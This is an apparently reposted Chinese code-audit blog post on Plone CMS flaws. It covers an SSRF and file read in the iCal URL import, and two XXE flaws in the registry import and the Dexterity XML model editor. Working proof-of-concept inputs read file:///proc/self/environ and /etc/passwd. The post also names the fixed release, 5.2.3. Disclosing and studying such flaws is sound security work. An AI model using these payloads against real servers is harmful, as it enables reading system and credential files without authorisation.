代码审计--Plone
source link: https://misakikata.github.io/2020/11/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-Plone/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Plone
Plone是使用Python开发的一个开源的内容管理系统,安装的时候以第三方包的形式安装使用,三百个包左右的程序,这个查看起来查找对应功能实在是费劲。
plone.app.event-3.2.7-py3.6.egg\plone\app\event\ical\importer.py
@button.buttonAndHandler(u'Save and Import')
def handleSaveImport(self, action):
data, errors = self.extractData()
if errors:
return False
self.save_data(data)
ical_file = data['ical_file']
ical_url = data['ical_url']
event_type = data['event_type']
sync_strategy = data['sync_strategy']
if ical_file or ical_url:
if ical_file:
# File upload is not saved in settings
ical_resource = ical_file.data
ical_import_from = ical_file.filename
else:
ical_resource = urllib.request.urlopen(ical_url).read()
ical_import_from = ical_url
import_metadata = ical_import(
self.context,
ics_resource=ical_resource,
event_type=event_type,
sync_strategy=sync_strategy,
)
如上所述,在读取参数 ical_url
时,根据程序设置是导入该事件的 icalendar
资源文件,但对如何读取资源文件没有限制,可以直接使用urllib包进行读取和返回
在Members功能下的Action
中选择Enable icalendar import
后,配置Icalendar URL
参数。
参数:http://127.0.0.1:22
,执行Save and Import
。
urllib还支持文件协议,因此也可以用于文件读取
参数: file:///proc/self/environ
plone.app.registry-1.7.6-py3.6.egg\plone\app\registry\browser\records.py
def import_registry(self):
try:
fi = self.request.form['file']
body = fi.read()
except (AttributeError, KeyError):
messages = IStatusMessage(self.request)
messages.add(u"Must provide XML file", type=u"error")
body = None
if body is not None:
importer = RegistryImporter(self.context, FakeEnv())
try:
importer.importDocument(body)
except XMLSyntaxError:
messages = IStatusMessage(self.request)
messages.add(u"Must provide valid XML file", type=u"error")
return self.request.response.redirect(self.context.absolute_url())
注意importDocument
方法,该方法在lxml.etree下调用该方法
plone.app.registry-1.7.6-py3.6.egg\plone\app\registry\exportimport\handler.py
class RegistryImporter(object):
"""Helper classt to import a registry file
"""
LOGGER_ID = 'plone.app.registry'
def __init__(self, context, environ):
self.context = context
self.environ = environ
self.logger = environ.getLogger(self.LOGGER_ID)
def importDocument(self, document):
tree = etree.fromstring(document)
if self.environ.shouldPurge():
self.context.records.clear()
i18n_domain = tree.attrib.get(ns('domain', I18N_NAMESPACE))
if i18n_domain:
parseinfo.i18n_domain = i18n_domain
for node in tree:
if not isinstance(node.tag, str):
continue
condition = node.attrib.get('condition', None)
if condition and not evaluateCondition(condition):
continue
if node.tag.lower() == 'record':
self.importRecord(node)
elif node.tag.lower() == 'records':
self.importRecords(node)
parseinfo.i18n_domain = None
此方法是此XXE的原因。 在网站设置Site Setup
下的Configuration Registry
中导出合适的XML文件。 在这里,选择了plone.thumb_scale_table.xml
前缀文件。
参数 POC:
<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE value [
<!ELEMENT value ANY >
<!ENTITY title SYSTEM "file:///etc/passwd" >
]>
<registry>
<records interface="Products.CMFPlone.interfaces.controlpanel.ISiteSchema" prefix="plone">
<value key="thumb_scale_table">&title;</value>
</records>
</registry>
执行后,您可以在错误报告中看到已解析的XML实体。
XXE-2
plone.app.dexterity-2.6.5-py3.6.egg\plone\app\dexterity\browser\modeleditor.py
class AjaxSaveHandler(BrowserView):
"""Handle AJAX save posts.
"""
def __call__(self):
"""Handle AJAX save post.
"""
if not authorized(self.context, self.request):
raise Unauthorized
source = self.request.form.get('source')
if source:
# Is it valid XML?
try:
root = etree.fromstring(source)
except etree.XMLSyntaxError as e:
return json.dumps({
'success': False,
'message': 'XMLSyntaxError: {0}'.format(
safe_unicode(e.args[0])
)
})
# a little more sanity checking, look at first two element levels
if root.tag != NAMESPACE + 'model':
return json.dumps({
'success': False,
'message': _(u"Error: root tag must be 'model'")
})
for element in root.getchildren():
if element.tag != NAMESPACE + 'schema':
return json.dumps({
'success': False,
'message': _(
u"Error: all model elements must be 'schema'"
)
})
# can supermodel parse it?
# This is mainly good for catching bad dotted names.
try:
plone.supermodel.loadString(source, policy=u'dexterity')
except SupermodelParseError as e:
message = e.args[0].replace('\n File "<unknown>"', '')
return json.dumps({
'success': False,
'message': u'SuperModelParseError: {0}'.format(message)
})
上面的代码使用lxml库,但是直接解析xml中的外部参数。 结果,在功能 Dexterity Content Types
下选择 custom content types
,然后单击进入。 fields
标签下的Edit XML Field Model
可以直接编写xml代码。
参数 POC:
<!DOCTYPE value [<!ELEMENT value ANY ><!ENTITY title SYSTEM "file:///etc/passwd" > ]>
<model xmlns:i18n="http://xml.zope.org/namespaces/i18n" xmlns:marshal="http://namespaces.plone.org/supermodel/marshal" xmlns:form="http://namespaces.plone.org/supermodel/form" xmlns:security="http://namespaces.plone.org/supermodel/security" xmlns:users="http://namespaces.plone.org/supermodel/users" xmlns:lingua="http://namespaces.plone.org/supermodel/lingua" xmlns="http://namespaces.plone.org/supermodel/schema">
&title;<schema/>
</model>
因为程序代码中似乎存在问题,所以无法添加XML声明文件,但是打开的默认声明文件具有添加的声明文件。 需要删除。 保存参数,并在返回后单击此处查看它们。
问题相对利用条件较高,需要管理员权限,其后官方推出了更新版本5.2.3:https://dist.plone.org/release/5.2.3-pending/RELEASE-NOTES.txt
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK